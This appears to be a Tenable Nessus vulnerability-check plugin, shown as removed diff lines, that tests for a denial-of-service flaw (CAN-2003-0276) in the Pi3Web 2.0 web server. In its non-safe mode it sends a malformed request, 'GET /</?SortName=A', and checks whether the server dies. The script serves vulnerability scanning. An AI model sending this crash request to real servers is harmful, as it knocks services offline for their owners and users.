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- #
- # (C) Tenable Network Security
- #
-
- if(description)
- {
- script_id(11695);
- script_cve_id("CAN-2003-0276");
-
- script_version ("$Revision: 1.3 $");
-
- name["english"] = "Pi3Web Webserver v2.0 Denial of Service";
-
- script_name(english:name["english"]);
-
- desc["english"] = "
- The remote Pi3Web web server may crash when it is sent
- a malformed request, like :
-
- GET /</?SortName=A
-
-
- Solution : Upgrade to Pi3Web 2.0.2 beta 2 or newer
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- # Summary
- summary["english"] = "Tests for a DoS in Pi3Web";
- script_summary(english:summary["english"]);
-
- # Category
- script_category(ACT_MIXED_ATTACK);
-
- # Dependencie(s)
- script_dependencie("find_service.nes", "http_version.nasl");
-
- # Family
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"],
- francais:family["francais"]);
-
- # Copyright
- script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
-
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
-
- include ("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
-
-
- if(safe_checks())
- {
- banner = get_http_banner(port:port);
- if(banner)
- {
- if(egrep(pattern:"^Server: Pi3Web/2\.0\.([01]|2 *beta *[01])", string:banner))
- security_hole(port);
- }
- }
- else
- {
- if(http_is_dead(port:port))exit(0);
- req = http_get(item:"/</?SortName=A", port:port);
- res = http_keepalive_send_recv(port:port, data:req);
- if(http_is_dead(port:port))security_hole(port);
- }
-
-